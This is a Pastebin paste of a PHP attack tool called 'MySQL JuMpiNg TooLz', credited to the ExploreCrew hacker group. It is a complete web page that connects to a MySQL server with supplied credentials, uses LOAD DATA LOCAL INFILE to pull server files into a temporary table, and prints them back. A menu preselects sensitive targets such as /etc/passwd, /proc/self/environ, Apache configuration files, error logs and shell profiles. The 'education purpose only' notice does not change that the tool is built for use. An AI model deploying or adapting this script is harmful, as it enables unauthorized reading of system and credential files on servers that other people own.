Advertisement
rhiby

msql-database

Mar 25th, 2012
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.92 KB | None | 0 0
  1. <?php
  2. /**
  3. * @author Jasman
  4. * @package SQL Jumping
  5. * @copyright Copyright (C) 2011 Www.ExploreCrew.Org.
  6. * @license GNU General Public License version 2 or later; see LICENSE.txt
  7. *
  8. * Notice:
  9. * All content education purphose only.
  10. * Any consequences in views of the use of scripts, techniques, codes,
  11. * tutorials, and everything imaginable are purely the
  12. * responsibility of the user, NOT ExploreCrew.Org
  13. *
  14. * Credit:
  15. * ArRay, `yuda, N4ck0, K4pt3N, samu1241, bejamz, Gameover, antitos, yuki, pokeng, aphe_aphe, jos_ali_joe, BlueBoyz,
  16. * JFry_, Viva ExploreCrew.Org, AnaskiCrewz, Ihsana's Labs, JibanCrew
  17. * We hate Ripper!! Please don't remove or change author name of posted article/code, Just to add credit if you fix it.
  18. */
  19.  
  20. error_reporting(0);
  21. $dbuser = trim($_POST['dbuser']) ;
  22. $dbpass = trim($_POST['dbpass']) ;
  23. $dbhost = trim($_POST['dbhost']) ;
  24. $dbname = trim($_POST['dbname']);
  25. if ($_POST['readfile'] == ""){$readfile = trim($_POST['getfile']);} else {$readfile = trim($_POST['readfile']);}
  26. ?>
  27. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  28. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  29. <head>
  30. <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  31. <meta name="author" content="JasMaN" />
  32. <title>MySQL JuMpiNg TooLz Coded by JasMaN</title>
  33. <style type="text/css">
  34. <!--
  35. pre{border: 1px solid #000; margin: 3px; padding: 3px;font-size: 12px;}
  36. body {background: #000;}
  37. #box {background: #333; color: #fff; margin: auto; width: 1000px;border: 1px solid #666;font-size: 12px;}
  38. input,option,select{border: 1px solid #666; color: #00FF00;background: #000;font-size: 12px;}
  39. #notice {margin: 3px; padding: 3px; border: 1px solid red;font-size: 12px;}
  40. h3 {text-align: center; font-size: 24px;}
  41. -->
  42. </style>
  43. </head>
  44. <body>
  45. <div id="box">
  46. <h3>MySQL JuMpiNg TooLz<br />Coded by BlueBoyz</h3>
  47.  
  48. <form method="post" action="" >
  49. <table>
  50. <tr>
  51. <td>Database</td>
  52. <td>:</td>
  53. <td><input type="text" name="dbname" value="<?php echo $dbname ?>" /></td>
  54. </tr>
  55. <tr>
  56. <td>Username</td>
  57. <td>:</td>
  58. <td><input type="text" name="dbuser" value="<?php echo $dbuser ?>" /></td>
  59. </tr>
  60. <tr>
  61. <td>Password</td>
  62. <td>:</td>
  63. <td><input type="text" name="dbpass" value="<?php echo $dbpass ?>" /></td>
  64. </tr>
  65. <tr>
  66. <td>Host</td>
  67. <td>:</td>
  68. <td><input type="text" name="dbhost" value="<?php echo $dbhost ?>" /></td>
  69. </tr>
  70. <tr>
  71. <td>Get File</td>
  72. <td>:</td>
  73. <td>
  74. <input type="text" name="readfile" value="<?php echo $readfile ?>" size="50" />
  75. <select size="1" name="getfile">
  76. <option value="/etc/passwd">Enumerate User</option>
  77. <option value="/proc/version">uname -a</option>
  78. <option value="/etc/issue">Os</option>
  79. <option value="/etc/issue.net">Os.Net</option>
  80. <option value="/etc/kernel-img.conf">Kernel Info</option>
  81. <option value="/etc/debian_version">Debian Version</option>
  82. <option value="/etc/redhat-release">Redhat Release</option>
  83. <option value="/proc/meminfo">Free Memory</option>
  84. <option value="/proc/cpuinfo">CPU Info</option>
  85. <option value="/var/log/installer/lsb-release">Linux installer</option>
  86. <option value="/proc/pci">PCI devices</option>
  87. <option value="/proc/self/environ">Environ</option>
  88. <option value="/etc/httpd.conf">/etc/httpd.conf</option>
  89. <option value="/etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
  90. <option value="/etc/apache2/apache2.conf">/etc/apache2/apache2.conf</option>
  91. <option value="/etc/apache2/httpd.conf">/etc/apache2/httpd.conf</option>
  92. <option value="/etc/apache2/conf.d/application.conf">/etc/apache2/conf.d/application.conf</option>
  93. <option value="/error_log">/error_log</option>
  94. <option value="/error.log">/error.log</option>
  95. <option value="/var/log/apache2/error_log">/var/log/apache2/error_log</option>
  96. <option value="/var/log/apache2/error.log">/var/log/apache2/error.log</option>
  97. <option value="/.bash_logout">/.bash_logout</option>
  98. <option value="/.contactemail">/.contactemail</option>
  99. <option value="/.htaccess">/.htaccess</option>
  100. <option value="/cpbackup-exclude.conf">/cpbackup-exclude.conf</option>
  101. <option value="/.bash_profile">/.bash_profile</option>
  102. <option value="/.bashrc">/.bashrc</option>
  103. </select>
  104. </td>
  105. </tr>
  106. <tr>
  107. <td></td>
  108. <td></td>
  109. <td><input type="submit" value="Connect" /></td>
  110. </tr>
  111. </table>
  112. </form>
  113. <div id="notice">
  114. <?php
  115. $con = mysql_connect($dbhost,$dbuser,$dbpass);
  116. echo "** try connect host to '".$dbhost."' : ok<br/>" ;
  117. echo "** send username '".$dbuser."' : ok<br/>" ;
  118. echo "** send password '".$dbpass."' : ok<br/>";
  119. if (!$con){die(mysql_error());}
  120. mysql_select_db($dbname, $con);
  121. $createtable = "CREATE TABLE IF NOT EXISTS `dbtemp` ( `file` longtext NOT NULL );";
  122. $file = "LOAD DATA LOCAL INFILE '$readfile' INTO TABLE `dbtemp` (`file`);";
  123. if (mysql_query($createtable) ==1){
  124. echo "** created table : ok<br/>";
  125. if (mysql_query("TRUNCATE TABLE `dbtemp`")){echo "** clear temp : ok<br/>";};
  126. if (mysql_query($file)==1){echo "** read file ".$readfile.": ok<br/>";} else {echo "** read file ".$readfile.": failed<br/>";} ;
  127. echo "</div>";
  128. $readstr = mysql_query("SELECT * FROM `dbtemp`");
  129. echo "<pre>";
  130. echo @php_uname();
  131. echo "<hr/>";
  132. while ($filestr = mysql_fetch_array($readstr)){
  133. echo $filestr['file'];
  134. }
  135. echo "</pre>";
  136. } else {
  137. echo "** created table : failed<br/>";
  138. };
  139.  
  140. ?>
  141.  
  142. <hr />
  143. <div class="foot">Thank to:
  144. | ArRay | `yuda | N4ck0 | K4pt3N | samu1241 | bejamz | Gameover | antitos | yuki | pokeng | aphe_aphe | jos_ali_joe | BlueBoyz | <br />
  145. <em> JFry_, Viva ExploreCrew.Org, AnaskiCrewz</em>
  146. </div>
  147. </div>
  148. </body>
  149. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement